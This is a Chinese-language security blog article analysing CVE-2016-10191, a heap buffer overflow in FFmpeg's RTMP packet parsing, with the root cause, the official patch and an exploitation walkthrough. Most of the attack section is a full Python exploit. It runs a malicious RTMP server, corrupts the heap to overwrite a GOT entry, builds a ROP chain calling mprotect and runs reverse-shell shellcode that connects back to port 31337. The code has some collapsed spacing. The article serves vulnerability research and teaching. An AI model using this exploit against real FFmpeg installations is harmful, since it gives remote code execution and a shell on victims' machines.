CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

做者：棧長@螞蟻金服巴斯光年安全實驗室

1、前言
FFmpeg是一個著名的處理音視頻的開源項目，使用者衆多。2016年底paulcher發現FFmpeg三個堆溢出漏洞分別爲CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。網上對CVE-2016-10190已經有了不少分析文章，可是CVE-2016-10191還沒有有其餘人分析過。本文詳細分析了CVE-2016-10191，是學習漏洞挖掘以及利用的一個很是不錯的案例。

2、漏洞成因分析
在 RTMP協議中，最小的發送數據包的單位是一個 chunk。客戶端和服務器會互相協商好發送給對方的 chunk 的最大大小，初始爲 0x80 個字節。一個 RTMP Message 若是超出了Max chunk size, 就須要被拆分紅多個 chunk 來發送。在 chunk 的 header 中會帶有 Chunk Stream ID 字段（後面簡稱 CSID），用於對等端在收到 chunk 的時候從新組裝成一個 Message，相同的CSID 的 chunk 是屬於同一個 Message 的。

在每個 Chunk 的 Message Header 部分都會有一個 Size 字段存儲該 chunk 所屬的 Message 的大小，按道理若是是同一個 Message 的 chunk 的話，那麼 size 字段都應該是相同的。此次漏洞的原由是對於屬於同一個 Message 的 Chunk的 size 字段沒有校驗先後是否一致，致使寫入堆的時候緩衝區溢出。

漏洞發生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函數中，漏洞相關部分的源代碼以下

size = size - p->offset;    //size 爲 chunk 中提取的 size 字段
//沒有檢查先後 size 是否一致
toread = FFMIN(size, chunk_size);//控制toread的值
if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {
ff_rtmp_packet_destroy(p);
return AVERROR(EIO);
}

在 max chunk size 爲0x80的前提下，若是前一個 chunk 的 size 爲一個比較下的數值，如0xa0，然後一個 chunk 的 size 爲一個很是大的數值，如0x2000, 那麼程序會分配一個0xa0大小的緩衝區用來存儲整個 Message，第一次調用ffurlreadcomplete函數會讀取0x80個字節，放到緩衝區中，而第二次調用的時候也是讀取0x80個字節，這就形成了緩衝區的溢出。

官方修補方案
很是簡單，只要加入對先後兩個 chunk 的 size 大小是否一致的判斷就好了，若是不一致的話就報錯，而且直接把前一個 chunk 給銷燬掉。

• if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {

  • av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %dn",
  • size,
  • prev_pkt[channel_id].size);
  • ff_rtmp_packet_destroy(&prev_pkt[channel_id]);
  • prev_pkt[channel_id].read = 0;
• }
  +

3、漏洞利用環境的搭建
漏洞利用的靶機環境
操做系統：Ubuntu 16.04 x64
FFmpeg版本：3.2.1 (參照https://trac.ffmpeg.org/wiki/...編譯，須要把官方教程中說起的全部 encoder編譯進去。）
官方的編譯過程因爲不少都是靜態編譯，在必定程度上下降了利用難度。

4、漏洞利用腳本的編寫
首先要肯定大體的利用思路，因爲是堆溢出，並且是任意多個字節的，因此第一步是觀察一下堆上有什麼比較有趣的數據結構能夠覆蓋。堆上主要有一個RTMPPacket結構體的數組，每個RTMPPakcet就對應一個 RTMP Message，RTMPPacket的結構體定義是這樣的：

/**

• structure for holding RTMP packets
  */

typedefstructRTMPPacket {
intchannel_id; ///< RTMP channel ID (nothing to do with audio/video     channels though)
RTMPPacketType type;       ///< packet payload type
uint32_t       timestamp;  ///< packet full timestamp
uint32_t       ts_field;   ///< 24-bit timestamp or increment to the    previous one, in milliseconds (latter only for media packets). Clipped to a  maximum of 0xFFFFFF, indicating an extended timestamp field.
uint32_t       extra;      ///< probably an additional channel ID used  during streaming data    //這個是 Message Stream ID？
uint8_t        *data;      ///< packet payload
int            size;       ///< packet payload size
int            offset;     ///< amount of data read so far
int            read;       ///< amount read, including headers
} RTMPPacket;

其中有一個很重要的 data 字段就指向這個 Message 的 data buffer，也是分配在堆上。客戶端在收到服務器發來的 RTMP 包的時候會把包的內容存儲在 data buffer 上，因此若是咱們控制了RTMPPacket中的 data 指針，就能夠作到任意地址寫了。

咱們的最終目的是要執行一段shellcode，反彈一個 shell 到咱們的惡意服務器上。而要執行shellcode，能夠經過mprotect函數將一段內存區域的權限修改成rwx，而後將shellcode部署到這段內存區域內，而後跳轉過去執行。那麼怎麼才能去執行mprotect呢，固然是經過 ROP 了。ROP 能夠部署在堆上，而後在程序中尋找合適的 gadget 把棧指針遷移到堆上就好了。

那麼第一步就是如何控制RTMPPacket中的 data 指針了，咱們先發一個 chunk 給客戶端，CSID爲0x4，程序爲調用下面這個函數在堆上分配一個RTMPPacket[20] 的數組，而後在數組下面開闢一段buffer存儲Message的 data。

if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,
channel_id)) < 0)

很容易想到利用堆溢出覆蓋這個RTMPPacket的數組就能夠了，可是這時候的堆佈局數組是在可溢出的heap chunk的上方，怎麼辦？再發送一個CSID爲20的 chunk 給客戶端，ff_rtmp_check_alloc_array會調用realloc函數給數組從新分配更大的空間，而後數組就跑到下面去了。此時的堆佈局以下

而後咱們就能夠構造數據包來溢出覆蓋數組了，咱們在數據包中僞造一個RTMPPacket結構體，而後把數組的第二項覆蓋成咱們僞造的結構體。其中 data 字段指向 got 表中的realloc（爲何覆蓋realloc後面會提）， size 隨意指定一個0x4141, read 字段指定爲0x180, 只要不爲0就好了（爲0的話會在堆上malloc一塊區域而後把 data 指針指向這塊區域）。

這以後咱們再發送 CSID 爲2的一個 chunk，chunk 的內容就是要修改的 got 表的內容。這裏咱們覆蓋成movrsp, rax這個gadget 的地址，用來遷移棧。接下來咱們就把 ROP 部署在堆上。ROP 作了這麼幾件事：

1 調用mprotect使得代碼段可寫
2 把shellcode寫入0x40000起始的位置
3 跳轉到0x400000執行shellcode

發送足夠數量的包部署好 ROP 以後，就要想辦法調用realloc函數了，ffrtmpcheckallocarray函數調用了realloc, 發一個 CSID 爲63的過去，就能觸發這個函數調用realloc，在函數調用realloc以前正好能將RTMPPacket數組的起始地址填入rax，而後調用realloc的時候由於 got 表被覆寫了，實際調用了movrsp, rax，而後就成功讓棧指針指向堆上了。以後就能夠成功開始執行咱們的shellcode了。這個時候整個堆的佈局以下：

最後利用成功的截圖以下：
先在本機開啓一個惡意的 RTMP 服務端

而後使用ffmpeg程序去鏈接上圖的服務端

在另外一個終端用nc監聽31337端口

能夠看到程序執行了咱們的shellcode以後成功連上了31337端口，並反彈了一個 shell。

最後附上完整的exp，根據https://gist.github.com/PaulC...修改而來

#!/usr/bin/python
#coding=utf-8

importos
import socket
importstruct
from time import sleep

frompwn import *

bind_ip = '0.0.0.0'
bind_port = 12345

elf = ELF('/home/dddong/bin/ffmpeg')

gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))

# Gadgets that we need to know inside binary
# to successfully exploit it remotely
add_esp_f8 = 0x00000000006719e3
pop_rdi = gadget('pop rdi; ret')
pop_rsi = gadget('pop rsi; ret')
pop_rdx = gadget('pop rdx; ret')
pop_rax = gadget('pop rax; ret')
mov_rsp_rax = gadget('movrsp, rax; ret')
mov_gadget = gadget('mov qword ptr [rax], rsi ; ret')

got_realloc = elf.got['realloc']
log.info("got_reallocaddr:%#x" % got_realloc)
plt_mprotect = elf.plt['mprotect']
log.info("plt_mprotectaddr:%#x" % plt_mprotect)

shellcode_location = 0x400000
# backconnect 127.0.0.1:31337 x86_64 shellcode
shellcode =   "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8字節對齊

defcreate_payload(size, data, channel_id):
"""
生成一個RTMP Message
"""
payload = ''
    #Message header的類型爲1
payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id;
payload += '\0\0\0' # ts_field
payload += p24(size) # size
payload += p8(0x00) # Message type

payload += data # data
return payload

defcreate_rtmp_packet(channel_id, write_location, size=0x4141):
"""
創造一個RTMPPacket結構體
"""
data = ''
data += p32(channel_id) # channel_id
data += p32(0) # type
data += p32(0) # timestamp
data += p32(0) # ts_field
data += p64(0) # extra

data += p64(write_location) # write_location - data

data += p32(size) # size
data += p32(0) # offset
data += p64(0x180) # read
return data

def p24(data):
packed_data = p32(data, endian='big')[1:]
assert(len(packed_data) == 3)
returnpacked_data

defhandle_request(client_socket):
    v = client_socket.recv(1)   #接收握手包C0
client_socket.send(p8(3))   #發送握手包S0, 版本號

payload = ''
    payload += '\x00' * 4   #好像是 timestamp，沒什麼卵用
    payload += '\x00' * 4   #這四個字節是 Server 的版本號，這裏設置爲全0，防止客戶端走校驗的流程
    payload += os.urandom(1536 - 8) #剩下的都隨機生成
client_socket.send(payload) #發送握手包S1
client_socket.send(payload) #發送握手包S2

client_socket.recv(1536) #接收握手包C1
client_socket.recv(1536) #接收握手包C2
    #以上就是整個握手過程

print 'sending payload'
payload = create_payload(0xa0, 'U' * 0x80, 4)
client_socket.send(payload)

payload = create_payload(0xa0, 'A' * 0x80, 20)
client_socket.send(payload)

data = ''
data += 'U' * 0x20 # the rest of chunk
data += p64(0)     # zerobytes
    data += p64(0x6a1) # real size of chunk, 這一行size 可能須要根據實際狀況更改
data += p64(add_esp_f8) # trampoline to rop
    data += 'Y' * (0x30 - 8) # channel_zero, 填充RTMPPacket[0]
    data += 'Y' * 0x20 # channel_one, 填充部分RTMPPacket[1]

payload = create_payload(0x2000, data, 4)
client_socket.send(payload) #到這一步程序並無崩潰
data = ''
data += 'I' * 0x10 # fill the previous RTMPPacket[1]
    #data += p64(add_rsp_a8)

data += create_rtmp_packet(2, got_realloc)
    data += 'D' * (0x80 - len(data)) #填充到0x80個字節

payload = create_payload(0x1800, data, 4)
client_socket.send(payload)

    #把 got 表中av_realloc改寫
jmp_to_rop = ''
jmp_to_rop += p64(mov_rsp_rax)
jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop))
payload = create_payload(0x1800, jmp_to_rop, 2)
client_socket.send(payload)

rop = ''
rop += 'AAAAAAAA' * 6 # padding

rop += p64(pop_rdi)
rop += p64(shellcode_location) #shellcode不放在堆上是由於難以 leak 堆地址？
rop += p64(pop_rsi)
rop += p64(0x1000)
rop += p64(pop_rdx)
rop += p64(7)
rop += p64(plt_mprotect)
    #mprotect(shellcode_location, 0x1000, 7)

write_location = shellcode_location
shellslices = map(''.join, zip(*[iter(shellcode)]*8)) #將shellcode以8個字節爲1組打包

    for shell in shellslices:   #把shellcode經過rop的方式寫入
rop += p64(pop_rax)
rop += p64(write_location)
rop += p64(pop_rsi)
rop += shell
rop += p64(mov_gadget)

write_location += 8

rop += p64(shellcode_location)
rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80個字節對齊

rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) #將rop以0x80個字節爲1組打包
for data in rop_slices:
payload = create_payload(0x2000, data, 4)
client_socket.send(payload)

    # does not matter what data to send because we try to trigger
    # av_realloc function inside ff_rtmp_check_alloc_array
    # so that av_realloc(our_data) shall be called
payload = create_payload(1, 'A', 63)
client_socket.send(payload)

sleep(3)
print 'sending done'
    #raw_input("wait for user interaction.")
client_socket.close()

if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((bind_ip, bind_port))
s.listen(5)

while True:
print 'Waiting for new client...'
client_socket, addr = s.accept()
handle_request(client_socket)

5、參考資料
1 漏洞詳情：http://www.openwall.com/lists...
2 官方修復：https://github.com/FFmpeg/FFm...
3 漏洞做者提供的exp：https://gist.github.com/PaulC...
4 RTMP 介紹：http://mingyangshang.github.i...
5 RTMP 介紹：http://www.jianshu.com/p/00ac...
官方編譯FFmpeg的教程：https://trac.ffmpeg.org/wiki/...

---

更多安全類熱點信息和知識分享，請關注阿里聚安全的官方博客